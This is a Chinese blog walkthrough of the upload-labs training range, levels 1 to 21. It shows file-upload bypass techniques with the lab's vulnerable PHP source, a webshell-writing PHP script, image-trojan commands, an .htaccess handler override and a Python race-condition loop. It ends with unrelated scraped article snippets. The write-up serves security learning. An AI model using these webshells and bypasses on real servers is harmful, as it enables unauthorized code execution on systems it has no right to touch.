【Web安全靶场】upload-labs-master 1-21

upload-labs-master

其他靶场见专栏…

文章目录

  • upload-labs-master
    • Pass-01-js前端校验
    • Pass-02-MIME校验
    • Pass-03-其他后缀绕过黑名单
    • Pass-04-.hatccess绕过
    • Pass-05-点空格点代码逻辑绕过
    • Pass-06-大小写绕过
    • Pass-07-空格绕过
    • Pass-08-点号绕过
    • Pass-09-::$DATA绕过
    • Pass-10-点空格点代码逻辑绕过
    • Pass-11-双写绕过
    • Pass-12-Get型%00截断
    • Pass-13-Post型%00截断
    • Pass-14-图片木马与文件包含漏洞
    • Pass-15-图片木马与文件包含漏洞
    • Pass-16-图片木马与文件包含漏洞
    • Pass-17-图片木马二次渲染
    • Pass-18-删除操作条件竞争
    • Pass-19-重命名操作条件竞争
    • Pass-20-pathinfo()
    • Pass-21-分段参数数组

由于upload-labs版本问题,可能有的题号对不上。

Pass-01-js前端校验

上传一个phpinfo()的php文件,点击上传发现抓包没有反应,但是网页上出现弹窗显示“该文件不允许上传,请上传jpgl、png、pngl、gif类型的文件,当前文件类型为php,所以猜测这是进行了js前端校验,js前端校验是可以人为控制的,可以在网页设置那里禁用js,也可以上传一个正常的文件,然后抓包修改。查看源代码:

function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}
}

前端代码中对上传文件的后缀进行了校验,所以只要绕过前端校验就行了。

在这里插入图片描述

在这里插入图片描述

Pass-02-MIME校验

上传一个phpinfo的php’文件,前端没有进行校验,点击上传提示”文件类型不正确,请重新上传“,查看源代码发现,后端对数据包的MIME进行检查,MIME是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。

服务端MIME类型检测是通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。利用Burpsuite抓包,将报文中的Content-Type改成允许的类型

  • Content-Type: image/gif(gif图像)
  • Content-Type: image/jpg(jpg图像)
  • Content-Type: image/png(png图像)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}

在这里插入图片描述

Pass-03-其他后缀绕过黑名单

这一关进行了后端黑名单认证,并且进行了一些点号空格等过滤,黑名单有一个坏处就是很难把所有的后缀包含进去,比如说php可以变为php2、php3等,大小写,双写啥的。查看源代码发现黑名单只有4个,所以我们可以使用其他的脚本后缀,比如说php5、php4、phtml等,其中这些后缀需要知道php版本和apache的配置,不是所有网站都可以的,需要在配置文件httpd.conf中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。(不知道这个文件的可以先看19关)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

Pass-04-.hatccess绕过

这一关的黑名单是上一关的几倍,所以不能使用php5、phtml等绕过了,并且点号、空格、::DATA这些也实现不了,所以尝试一下.htaccess配置文件绕过,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
<FilesMatch "x.png">   
SetHandler application/x-httpd-php
</FilesMatch>

这个.htaccess文件片段的作用是告诉Apache,当访问文件名为x.png的文件时,将其当作PHP脚本来执行。

上传一个.htaccess文件,之后上传一个x.png文件即可解析。

前提是配置环境:httpd.conf里面将AllowOverride置为All(默认为None),接着搜索mod_rewrite,将此模块前面的注释符删掉,重启。网上是这样教的,如果不行的话就是你的版本太高了,我一开始用的v8,后面换成了2016版的就可以了。注意别把htaccess文件弄成hatccess文件!

在这里插入图片描述

Pass-05-点空格点代码逻辑绕过

查看源代码发现,存在大小写转换函数,并且htaccess后缀被过滤了,所以我们要尝试从代码逻辑上考虑绕过。首先这一段代码,删除了文件名后面的点,接着.php.最后一个点作为后缀分隔符,即**$file_ext=.,之后将字母转化为小写,然后去除字符串::$DATA,最后首尾去空。所以我们可以构造x.php. .**(有一个空格),这样源代码中删除了一个点还剩下一个点和空格从而绕过黑名单。而且在window下,文件名会因为规范而忽略后面的内容。(不知道为啥apache版本高会出现上传出错,如果上传出错你可以在第一关试一下,再不行就装低版本的phpstudy)。

这是我echo file_ext的值(分割之后的),echo网上很多博主讲错了,他们把strrchr函数认为是从第一个符合条件的字符开始。

在这里插入图片描述

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

在这里插入图片描述

Pass-06-大小写绕过

这一关比较容易想得出来,因为它少了小写转换函数。本来想的是这里也可以使用点空格点进行绕过,但是发现不行,最后的文件名少了后缀,再分析一下源代码发现,它使用的是**$img_path = UPLOAD_PATH.‘/’.date(“YmdHis”).rand(1000,9999).$file_ext;**,这是没有php后缀的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
  • 大小写绕过:

在这里插入图片描述

Pass-07-空格绕过

这一关少了去掉空格的函数,所以这一关很简单,同样也是利用window的文件后缀的规范性,抓包在文件后缀后面加个空格就行了,而且不像上一关使用点空格点这样php丢掉了…

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

最终echo $file_ext的值为:

在这里插入图片描述

Pass-08-点号绕过

在第一眼看这一份代码的时候好像是没啥思路的,这是因为我们认为strrchr就是用来过滤点的,但它其实是用来分割点的,对比之前的代码,这一关少了对末尾点的过滤,所以在进行strrchr时候得到的只是一个点号,直接就绕过黑名单了,并且文件名是使用分割前的,并不用随机数字。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

在这里插入图片描述

Pass-09-::$DATA绕过

这一关查看源代码发现少了过滤::$DATA,但我并不知道这是啥,上网搜了一下:

在window下,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名。所以我们添加这一个然后echo一下过程看看:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

这里echo的是首尾去空之后的值,同样上传上去之后文件名会把后面的::$data省略掉。

在这里插入图片描述

Pass-10-点空格点代码逻辑绕过

这一关似曾相识,因为看到存储文件的命名方式,所以就想到使用点空格点来绕过黑名单检测了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

在这里插入图片描述

Pass-11-双写绕过

这一关的代码和之前的有些不同,不能使用点、空格绕过之类的,因为它存在**$file_name = str_ireplace($deny_ext,“”, $file_name);**函数会将file_name里面出现在黑名单里面的字符去掉,可能会想到使用大小写绕过,但是这个函数是对大小写不敏感的。由于只进行了一次替换,所以我们可以进行双写绕过:

在这里插入图片描述

Pass-12-Get型%00截断

看到这一道题一开始没啥思路的,因为它使用的是白名单,一开始想的是使用双后缀,但是文件名是随机数,所以无效。后来发现源代码存在get参数,而get参数是save_path,这说明存储位置是可控的,那我把存储位置后面加个phpinfo.php%00,会怎么样?

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

由于php底层是由C语言写的,而C语言遇到空字符就认为字符串结束了,所以我们如果添加%00,php会认为字符串已经结束了。实验环境,php版本小于5.3,5.3也不行。magic_quote_gpc为off。

在这里插入图片描述

Pass-13-Post型%00截断

查看源代码和上一关差不多,但是获取Get参数变为获取Post参数而已,改包过程中有些不一样了:

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

首先先输入%00先然后选中,右键找到Convert selection->URL->URL-decode:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Pass-14-图片木马与文件包含漏洞

这一关已经很明确说了要使用图片木马,查看源码得知,这一关是检查文件头的,判断一个文件是什么不仅仅看文件后缀,还看文件头,我们可以通过构造图片木马使其有图片文件的文件头,也有木马文件。

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
对于linux:cat pictures.jpg shell.php > shell.jpg
对于windows:copy pictures.jpg /b + shell.php /a shell.jpg

在这里插入图片描述

我直接上传却失败了,但不知道什么原因,所以我查看它的每一个字节,将一句话木马插入到\0里面:

在这里插入图片描述

接着使用文件包含漏洞,查看网站源代码,发现include.php:

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?>

接着使用蚁剑:

URL地址:http://192.168.255.128/upload-labs-master/include.php?file=upload/8120240305150003.jpg

在这里插入图片描述

Pass-15-图片木马与文件包含漏洞

这一关和上一关一样的,只不过使用的函数不一样而已:

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}
getimagesize() 函数将测定任何
GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP
图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。
如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 false 并产生一条 E_WARNING 级的错误。

还是使用上一关的方法,这里就不多解释了。

Pass-16-图片木马与文件包含漏洞

这一关又换了一个检测文件的函数,exif_imagetype() 读取一个图像的第一个字节并检查其签名。

还是使用第十四关的方法就可以了,至于这两个函数有什么细节实在找不到。

Pass-17-图片木马二次渲染

这一关代码很长,但可以看作三个一样的部分,上传之前的图片马,发现确实可以上传但是连接不上,所以下载下来用十六进制打开,发现一句话木马没了,查询资料知道二次渲染会导致一些没用的信息给替换或者去掉,可以查看这一篇文章对于二次渲染绕过挺详细的,这里就用里面最简单的gif文件二次渲染绕过试一下。

以下是我用winhex打开的两张图片,可以看到,28709.gif(我上传的)与1.gif(我原来的)有些不一样:

在这里插入图片描述

在这里插入图片描述

可以看到有一些位置是不一样的,但是也有一样的,二次渲染的原理就是在一样的地方添加代码,尝试一下:

在这里插入图片描述

在这里插入图片描述

可见这一块并没有被渲染,并且用蚁剑利用文件包含是可以连接成功的

Pass-18-删除操作条件竞争

这一关的提示是代码审计

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}
}else{$msg = '上传出错!';
}
}

如果看代码的作用的话确实没啥漏洞的,但是在看代码逻辑上,确实先保存文件到服务器再进行白名单校验,如果不通过就删除文件。网上搜了一下,unlink()函数还是可以删除已经打开的脚本文件,但是如果连接上了,也会被删除。所以我们上传的脚本文件不是一个一句话木马这样简单,我们需要通过上传的脚本文件,再建立一个脚本文件。

<?php
$new_file_name = "shell.php";
$shell_content = '<?php @eval($_POST[\'x\']);?>';if (file_put_contents($new_file_name, $shell_content) != false) {echo "Shell文件创建成功";
} else {echo "创建Shell文件失败";
}
?>

我们用burpsuite截获数据包并且发送到intruder模块,使用python的requests库构造请求试一下:

import requests
import timeurl = "http://192.168.255.128/upload-labs-master/upload/build_shell.php"
rate = 5
duration = 6000
interval = 1 / rate
start_time = time.time()print("action...")
while time.time() - start_time < duration:try:response = requests.get(url)if response.status_code == 200:print("success!!!!!!!")breakelse:print(response.status_code, end='')time.sleep(interval)except requests.RequestException as e:print("Error: " + str(e))break

试了很久才出来,但原理是在那的,其实把存入数据库和检查白名单之间加个sleep()函数其实明显一点。

Pass-19-重命名操作条件竞争

这一关比较复杂吧,学了一下这一关的知识点,现在来总结一下。

首先先来看两个文件:mime.types和http.conf文件。

  • mime.types文件包含文件扩展名与MIME类型之间的映射关系,这些映射告诉Apache服务器如何处理不同类型的文件。这种映射通常用于指定浏览器如何显示文件。例如mime.types文件中有image/jpeg–jpg的映射时,那么服务器收到一个以.jpg结尾的文件请求时,它会把文件的内容和类型发送给浏览器,浏览器会根据Content-Type显示内容。
  • http.conf文件:这个文件要了解的是两个指令AddHandler和AddType指令。AddHandler指令将文件扩展名映射到指令的处理程序,告诉服务器如何处理文件类型,优先于mime.types文件的映射,例如使用AddHanlder application/x-httpd-php .phtml指令,只要文件名包含这个后缀就会将其交给php解析模块执行,无论mime.types文件是否有映射。而AddType指令弱一点,mime.types优先于AddType指令。

两个文件的联系:Apache默认支持多个文件后缀名,可以搜一下Apache文件解析漏洞。当一个文件名有多个点分割的后缀时,Apache会从最右开始识别,如果遇到无法识别的后缀名就从右向左依次识别,如果上传了一个shell.php.jpg文件,而mime.types文件和httpd.conf文件没有对于jpg后缀的解析,则可能执行文件中的恶意代码。

演示的话看这一篇博客吧,文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争。

我在我的mime.types文件上没有找到我的7z的映射(有zip映射),同时将httpd.conf的AddType application/x-httpd-php .php .phtml注释去掉了,重启apache服务,创建一个一句话木马以.php.7z结尾,使用蚁剑连接是可以连接上的:

在这里插入图片描述

按照mime.types和这两个指令的关系进行测试也是能达到预期的结果,这里就不往下写了,上面的那一片博客有演示。

所以利用这个解析漏洞我们就可以访问到我们上传的脚本文件,回到这一道题,先来看看它的源代码,看的会很晕总结下来就是

  • 判断这个文件是否已经被上传到服务器的临时目录。
  • 设置上传的目标目录,并检查这个目标目录是否有可写权限。
  • 白名单判断,大小限制判断,相同名称判断。
  • 文件移动到目标路径。
  • 根据时间函数重命名

我们利用的条件竞争就是移动和重命名这两个过程,因为它重命名不是删除,所以让它重命名失败就行了,至于如何做?因为它的随机函数是按时间来的,而时间函数有个精度,这个函数不详细讲了,简单来说就是极短时间间隔下会产生相同的时间随机数。如果第一个文件上传了并且也重命名了,同时第二个文件在第一个文件发送之后立刻发送,时间函数由于精度产生相同的时间随机数,在重命名的过程之中就会因为重复名称而失败,这个文件不会被删除!这样利用文件解析漏洞就可以构造我们的webshell。

我们使用burpsuite的intruder模块将shell.php.7z(7z是白名单并且mime.types没有解析它的映射)发送,假设发了50个包,会发现目标服务器中就几个新的文件。但是并没有重命名失败的文件啊!!!分析过程,假设第二个是重命名失败的,这时第三个文件发送过来,第三个文件会覆盖第二个文件(原始名称一样),但是时间随机数在一段极短间隔后变化了,第三个就会被重命名。所以总结出!!!重命名失败的文件最好是最后一个发送过来的文件,所以使用Repeater模块(当然intruder也可以),点击三四下够了。

这一道题没有图,图片解释不了什么,过程已经很清楚了。

Pass-20-pathinfo()

这一关学了一个新函数pathinfo(),它有两个参数,一个是文件路径,一个是选项,返回一个关联数组。它包含5个选项:

  • PATHINFO_DIRNAME:返回目录名
  • PATHINFO_BASENAME:返回基本文件名,不包括目录名和扩展名
  • PATHINFO_EXTENSION:返回扩展名,不包括斜杠和反斜杠,从最后一个点号开始查找
  • PATHINFO_FILENAME:返回文件名,不包括目录名和斜杠
  • PATHINFO_ALL:默认参数,返回全部
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

PATHINFO_EXTENSION常量表示识别任何有效的拓展名,如果拓展名有斜杠 / 或者 \ 就忽略,返回文件名最后一个点号后面的字符串作为拓展名。如果遇到最后一个点号后面没有拓展名或者拓展名无效就返回为空。

如果服务器是在windows则可以利用windows对于文件扩展名的规范性来实现,比如点,点空格点,::$DATA等。

如果是linux,在php版本低于5.3可以使用可以使用%00截断(其实windows也可以),linux使用x.php/.

我的是windows:

在这里插入图片描述

使用蚁剑,连接成功。

Pass-21-分段参数数组

这一关其实我很懵逼…

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

先说一下这份代码做啥用的:

  • 首先进行Content-Type字段检查。
  • 接着检查文件名,如果自定义文件名不存在则使用上传文件原来的名字。
  • 默认自定义文件名存在,判断是否为数组,不是的话按照点号分割开,成为数组。
  • 取数组的最后一个元素为后缀进行白名单校验。
  • 校验成功,取数组第一个元素与后缀拼接,保存。

这里的漏洞就是判断是否为数组,其实上传的数据报里的数据也可以是一个数组,之前没有见过,下面是答案:

在这里插入图片描述

其中我们上传的save_name就是一个数组,这时候就不会被截断了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/723856.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Redis】Redis持久化模式AOF

目录 引言 AOF持久化模式​编辑​编辑 AOF与RDB的混合持久化(4.x后的新特性) AOF的优缺点 修复破损aof文件 到底用RDB还是AOF 引言 AOF就相当于上面的日志形式。是追加式备份。所有发生的写操作&#xff0c;新增啊&#xff0c;修改啊&#xff0c;删除啊&#xff0c;这些命…

pdf电子准考证查询下载系统(实证效果可照片)V1.0

CSDNpdf电子准考证查询下载系统(实证效果可照片)V1.0 使用场景: 教育机构比如学校用pdf准考证查询下载系统(实证效果可照片,最适合准考证打印); 也可自定义图片及坐标用于各种优秀党员三好学生等荣誉证书、聘书授权代理pdf电子证书查询与下载。 推荐Linux PHP5.5-7.3使用使…

第七篇 - 人工智能与机器学习技术VS量测(Measurement)- 我为什么要翻译介绍美国人工智能科技巨头IAB公司 - 它是如何赋能数字化营销生态的?

IAB平台&#xff0c;使命和功能 IAB成立于1996年&#xff0c;总部位于纽约市。 作为美国的人工智能科技巨头社会媒体和营销专业平台公司&#xff0c;互动广告局&#xff08;IAB- the Interactive Advertising Bureau&#xff09;自1996年成立以来&#xff0c;先后为700多家媒…

鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:鼠标光标控制)

控制鼠标光标的显示样式。 说明&#xff1a; 从API Version 11开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 cursorControl setCursor setCursor(value: PointerStyle): void 方法语句中可使用的全局接口&#xff0c;调用此接口可以更…

增肌_锻炼

